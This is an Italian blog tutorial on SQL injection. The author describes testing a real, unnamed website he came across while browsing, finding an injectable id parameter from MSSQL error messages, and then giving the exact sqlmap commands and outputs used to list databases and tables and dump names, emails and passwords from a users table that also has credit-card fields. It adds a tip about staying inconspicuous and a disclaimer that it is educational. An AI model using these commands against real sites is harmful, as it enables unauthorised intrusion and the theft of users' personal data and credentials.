Cari lettori oggi dopo aver visto come hackerare un Router Wireless sfruttando il WPS, parleremo della tecnica chiamata sqliniection, una tecnica di code injection, nella maggior parte delle volte usata per attaccare applicazioni web che gestiscono dati.

Vengono inserite delle stringhe di codice SQL malevole all’interno di campi di input o direttamente nell’url del browser, in modo che queste ultime vengano poi eseguite.

SQL injection sfrutta le vulnerabilità di sicurezza del codice di un’applicazione, (quando l’input dell’utente non è correttamente filtrato da caratteri di escape contenuti nelle stringhe SQL oppure non è fortemente tipizzato e viene eseguito inaspettatamente).

Vediamo un esempio pratico di SQL injection

L’altra sera mentre navigavo in internet la mia attenzione viene attirata da un sito famoso, apparentemente non vulnerabile, fatto molto bene sia graficamente che tecnicamente. Decido di approfondire la mia ricerca ed inizio a studiare tutte le pagine del sito alla ricerca di una possibile vulnerabilità.

Quando dobbiamo testare un sito per trovare vulnerabilità, è buona norma prima di utilizzare un qualsiasi tools, studiarsi tutto il sito manualmente (personalmente lo vedo più divertente).

Parto dalla homepage e controllo i vari link presenti all’interno della pagina, diamo sempre un occhio alla barra contenente l’url e al link in basso a sinistra della pagina.

Molto spesso il link che viene inserito nell’url è differente da quello originale, questo per camuffare l’interno link.

Mentre mi studio i vari link mi accorgo che l’url contiene sulla parte finale questa stringa (nomefile.php?id=9) .

Testo la pagina inserendo nell’url quanto segue:

https://nomesito /nomefile.php?id=9’

(controllo se c’è una possibile sqliniection da eseguire), aggiungo un apice e premo invio dalla tastiera e bingo, il sito restituisce:

Warning: mssql_query(): message: Unclosed quotation mark after the character string ''. (severity 15) in /mnt/ocfs2/centos01/web/gamma/class/class_faq_categories.php on line 23 Warning: mssql_query(): General SQL Server error: Check messages from the SQL Server (severity 15) in /mnt/ocfs2/centos01/web/gamma/class/class_faq_categories.php on line 23 Warning: mssql_query(): Query failed in /mnt/ocfs2/centos01/web/gamma/class/class_faq_categories.php on line 23 Warning: mssql_fetch_object() expects parameter 1 to be resource, boolean given in /mnt/ocfs2/centos01/web/gamma/class/class_faq_categories.php on line 24 Notice: Trying to get property of non-object in /mnt/ocfs2/centos01/web/gamma/faq/faq-api.php on line 213

Ovviamente per questioni di privacy ho eliminato nell’errore alcuni riferimenti del sito.

Recuperare le credenziali con SQLMAP

Trovata la vulnerabilità, decido di usare sqlmap, un tool presente su Kali Linux, apro un terminale e scrivo quanto segue e lo eseguo:

sqlmap -u https://nomesito /nomefile.php?id=9 --random-agent –dbs

Tecnica SQL iniection applicata a sito web

-u (sta per URL)

–dbs (per recuperare il nome del database)

Ecco un esempio di output

[22:47:58] [INFO] fetching database names
available databases [3]:
[*] pippo
[*] master
[*] tempdb

Ho trovato 3 database, decido di concentrarmi sul database “pippo” e scrivo sul terminale:

sqlmap -u http:// nomesito /nomefile.php?id=9 -D pippo --tables --random-agent

-D (specifico il nome database trovato)

–tables (dico a sqlmap di recuperare le tabelle del database)

Ecco un esempio di output

[22:51:25] [INFO] fetching tables for database: ‘pippo’
Database: pippo
[8 tables]
+———–+
| vino |
| carts |
| categoria |
| banchi |
| guestbook |
| pictures |
| products |
users |

Abbiamo recuperato 8 tabelle, mi concentro però sulla tabella ‘user’

Scrivo sul terminale il comando:

sqlmap -u http:// nomesito /nomefile.php?id=9 -D pippo -T users  --columns --random-agent

-D (specifico il nome database trovato)

-T (specifico il nome della tabella)

–columns (dico a sqlmap di recuperare le colonne del database)

Ecco un esempio di output

Database: pippo
Table: users
[8 columns]
+———+————–+
| Column | Type |
+———+————–+
| address | mediumtext |
| cart | varchar(100) |
| cc | varchar(100) |
| email | varchar(100) |
| name | varchar(100) |
| pass | varchar(100) |
| phone | varchar(100) |
| uname | varchar(100) |

Ho recuperate le 8 colonne della tabella users appartenente al database pippo.

Come possiamo vedere sono presenti informazioni personali e di accesso al sito, email, name, pass(word), phone, etc.

Estrazione contenuto

Adesso proviamo ad estrarre il contenuto delle 3 colonne più interessanti, email,name e pass, digitando sul terminale:

sqlmap -u http:// nomesito /nomefile.php?id=9 -D pippo -T users -C name,email,pass --dump

Database: pippo
Table: users
[1 entry]
+———————-+—————–+——++———————-+—————–+——+
| name    | email    | pass |
+———————-+—————–+——++———————-+—————–+——+
| pippo pluto    | [email protected] | test |
+———————-+—————–+——++———————-+—————–+——+

Ora abbiamo nome, email e password dell’unico utente presente!

Non mi assumo nessuna responsabilità dell’uso che farete della guida, in quanto stilata per uso didattico e formativo.

N.B. Vi ricordo che scaricare interi database, può risultare eccessivamente invasivo per il sistema, oltre che essere vistoso, per questo nella demo mi sono concentrato solo sugli elementi più interessanti.

Un malintenzionato sfruttando questa falla, potrebbe oltre scaricare i dati presenti nel database, cancellarli recando dei danni all’azienda.

Giorgio Perego

Responsible dei sistemi informativi di 3Vsigma

Leggi anche: